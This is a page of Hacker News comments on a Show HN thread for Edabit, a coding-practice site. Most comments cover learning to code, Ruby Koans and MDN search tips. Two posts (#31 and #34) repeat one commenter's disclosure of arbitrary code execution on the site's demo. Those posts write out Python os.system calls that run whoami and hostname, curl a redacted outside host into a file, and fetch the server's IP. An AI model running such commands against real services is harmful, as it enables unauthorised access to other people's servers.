Live data from Hacker News

Show HN: Edabit – Like Duolingo for Learning to Code

edabit.com

31–40 of 134 posts

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#31

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

He needs to be running a client-side service, not running whatever someone enters on his machine

> "He needs to be running a client-side service, not running whatever someone enters on his machine"

I would say that for the most part, websites such as this don't actually need a real, full-blown %s-lang compiler/VM that actually executes real code on a backend server. It would be enough to tokenize and parse things on the client's side and validate ABNF via JS. This would reduce the costs involved with running such a website, and the attack surface. If you want to get fancy, you could host an in-browser Python VM - but that's an overkill for a website such as this. Also, they're trying to support a fair bit of languages here, not all of which have browser-targeted tooling that could compile and run the code.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#32

I really like this, great work. I might try introducing a few people to this. specifically for python. I went through the first python challenge and i think it might be at a slightly higher level than a true beginner would need.

The Ruby exercises are good, if very basic. Solid introduction.

The way I learned Ruby 5 years ago was by doing Koans[0] which is basically a test suite where the individual cases describe some behavior of ruby or its stdlib and have a small expression missing to be filled in by you.

  array = [1, 2]
  array.reverse!
  assert array == __
[0] http://rubykoans.com/

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#34

Good job. However, I was able to run the following on your machine (on the publicly available demo page): def hello(): import os print(os.system("whoami")) print(os.system("hostname")) print(os.system("curl http://redacted/ > ./owned.txt")) print(os.system("curl -s http://whatismyip.akamai.com/") ) print(os.system("cat ./owned.txt")) print(os.system("ping -c 1 8.8.8.8")) Results: codewarrior 5a8eb7db8f0e 162.243.103.…

He needs to be running a client-side service, not running whatever someone enters on his machine

I wonder if WebAssembly could help accomplish that.

Still, even Rust has a compile-and-execute web service call accessible from the rust-lang home page. If Rust people (who tend to emphasize security) feel it is possible to secure that web service, then I'm inclined to believe them. It may be difficult though.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#35
post #3

Why don't I have the instructions and my code on the same page? Seriously, I need all my information visible to me. What's going on here?

It could be on purpose? I've found that I learn better when I am forced to read ALL the instructions and then try to solve the problem without having quick access to the instructions.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#37
post #26

Earlier quoted context omitted.

I was just trying to understand the Duolingo analogy

Duolingo by itself isn't really enough to really learn a language either. Thanks to Duolingo, I can definitely say "the woman eats the apple" in Italian, but I don't understand the language's grammar and its verb conjugation rules enough to build complete sentences.

"The woman eats the apple." is a complete sentence, no? Do you mean you only memorized specific sentences, but did not end up with any generalizable knowledge? I've never tried Duolingo, but I kind of expected them to not show you exactly the same exercises again, so that you wouldn't pass them with just memorization.

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#38

Earlier quoted context omitted.

Boy do I ever have a treat for you then: https://addons.mozilla.org/en-US/firefox/addon/personal-bloc... My search results for CSS problems are so much better now that MDN is the first result.

Another way to accomplish this is to add "MDN" to all CSS and JS searches. For example, "mdn array slice" lands right on the best documentation on array slicing (tested on Google and DuckDuckGo).

If you use duckduckgo you can search:

    !mdn array slice
which will take you straight to MDN

Re: Show HN: Edabit – Like Duolingo for Learning to Code

#40
post #38

Earlier quoted context omitted.

Another way to accomplish this is to add "MDN" to all CSS and JS searches. For example, "mdn array slice" lands right on the best documentation on array slicing (tested on Google and DuckDuckGo).

If you use duckduckgo you can search: !mdn array slice which will take you straight to MDN

If you use Firefox, you can add a search keyword for MDN search, so that you can type "mdn array slice" in the address bar and go straight to MDN without needing DuckDuckGo to redirect you.
Post reply on HN